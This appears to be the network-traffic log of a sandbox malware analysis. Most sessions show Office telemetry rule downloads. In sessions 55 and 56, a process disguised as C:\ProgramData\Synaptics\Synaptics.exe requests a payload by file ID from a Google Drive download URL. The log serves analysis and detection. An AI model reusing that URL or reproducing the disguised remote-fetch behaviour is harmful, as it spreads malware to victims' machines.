2024-12-05 23:15:57 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49899	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:59 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:00 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:15:59 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 40031d31-601e-005c-53c5-45f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231559Z-1746fd949bdlqd7fhC1EWR6vt000000003mg00000000452m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:00 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49898	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:59 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:00 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:15:59 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: c4831996-901e-0016-39ce-45efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231559Z-1746fd949bdfg4slhC1EWR34t0000000036000000000kk8b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:00 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49901	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:59 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:00 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:15:59 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 9ac3d201-201e-0000-03c5-45a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231559Z-1746fd949bdw2rg8hC1EWR11u400000003s0000000000pnv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:00 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49897	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:59 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:00 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:15:59 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 667c147a-501e-0016-34cc-45181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231559Z-1746fd949bdnq7x2hC1EWRpxr0000000033000000000wmbf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:00 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49900	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:59 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:00 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:15:59 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 115d5b31-c01e-0046-4bcb-452db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231559Z-1746fd949bdlnsqphC1EWRurw000000003b00000000006vy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:00 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49902	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:00 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
2024-12-05 23:16:01 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:16:01 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-jmHZ8eghp0aLSP8gPzrRwA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49903	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:00 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
2024-12-05 23:16:01 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:16:01 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-N4a2ZpccXGjCTZAq2uZM6w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49906	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:01 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:02 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:01 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 4628c04c-d01e-0017-18cc-45b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231601Z-1746fd949bdlqd7fhC1EWR6vt000000003f000000000mt4x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:02 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49907	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:01 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:02 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:02 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: d3611829-901e-007b-22c2-45ac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231602Z-1746fd949bdw2rg8hC1EWR11u400000003k000000000p0gt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:02 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49905	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:01 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:02 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:02 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: c2908fd4-501e-00a0-4ac8-459d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231602Z-1746fd949bddgsvjhC1EWRum2c00000003q000000000692m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:02 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49908	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:01 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:02 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:02 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 4a622c55-e01e-0099-7fc1-45da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231602Z-1746fd949bdlnsqphC1EWRurw0000000034000000000unp5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:02 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49909	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:01 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:02 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:02 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: dbf49064-101e-00a2-1bc6-459f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231602Z-1746fd949bdlqd7fhC1EWR6vt000000003p00000000006h5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
